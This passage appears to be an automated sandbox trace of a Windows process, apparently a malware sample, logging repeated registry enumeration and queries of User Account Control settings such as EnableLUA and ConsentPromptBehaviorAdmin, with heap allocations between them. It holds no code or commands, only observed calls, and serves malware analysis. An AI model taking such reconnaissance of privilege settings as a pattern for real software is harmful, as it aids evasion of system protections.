0x0 [0038.234] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.234] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.234] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.234] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.234] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.234] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.234] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.234] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.234] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.234] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.234] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.234] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.234] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.235] RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0038.235] RegQueryValueExA (in: hKey=0x34, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0038.235] RegQueryValueExA (in: hKey=0x34, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x94c438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x94c438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0038.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c438) returned 1 [0038.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c5a0) returned 1 [0038.235] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94b860 [0038.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94b878 [0038.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c5a0 [0038.235] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94b888 [0038.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c438 [0038.235] RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94b898 [0038.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c558 [0038.235] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94b930 [0038.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c510 [0038.235] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x20) returned 0x94b940 [0038.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b860) returned 1 [0038.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94b860 [0038.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c4c8 [0038.235] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94b968 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c480 [0038.236] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94b978 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c3f0 [0038.236] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94b988 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c3a8 [0038.236] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x30) returned 0x94b998 [0038.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b940) returned 1 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94b940 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c360 [0038.236] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94b950 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c318 [0038.236] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94b9d0 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c2d0 [0038.236] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94b9e0 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.236] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c240 [0038.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b998) returned 1 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94b998 [0038.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1f8 [0038.236] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94b9a8 [0038.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1b0 [0038.237] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d1e8 [0038.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c168 [0038.237] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d1f8 [0038.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.237] RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0038.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c5a0) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b878) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c438) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b888) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c558) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b898) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c510) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b930) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c4c8) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b860) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c480) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b968) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c3f0) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b978) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c3a8) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b988) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c360) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b940) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c318) returned 1 [0038.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b950) returned 1 [0038.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c2d0) returned 1 [0038.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b9d0) returned 1 [0038.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b9e0) returned 1 [0038.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c1f8) returned 1 [0038.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b998) returned 1 [0038.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c1b0) returned 1 [0038.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b9a8) returned 1 [0038.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c168) returned 1 [0038.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d1e8) returned 1 [0038.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d1f8) returned 1 [0038.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c240) returned 1 [0038.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c240 [0038.238] RegQueryValueExA (in: hKey=0x34, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0038.238] RegQueryValueExA (in: hKey=0x34, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x94c240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x94c240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0038.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c240) returned 1 [0038.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.238] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94d5e8 [0038.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d1f8 [0038.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.238] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d1e8 [0038.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c240 [0038.238] RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d208 [0038.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.238] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d218 [0038.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c168 [0038.239] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x20) returned 0x94b860 [0038.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d5e8) returned 1 [0038.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d228 [0038.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1b0 [0038.239] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d238 [0038.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c1f8 [0038.239] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d248 [0038.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.239] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d258 [0038.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c2d0 [0038.239] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x30) returned 0x94b930 [0038.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b860) returned 1 [0038.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d268 [0038.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c318 [0038.239] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d278 [0038.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c360 [0038.239] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d288 [0038.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c3a8 [0038.239] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d298 [0038.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c3f0 [0038.240] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c480 [0038.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94b930) returned 1 [0038.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2a8 [0038.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c4c8 [0038.240] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2b8 [0038.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c510 [0038.240] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2c8 [0038.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c558 [0038.240] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d2d8 [0038.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c438 [0038.240] 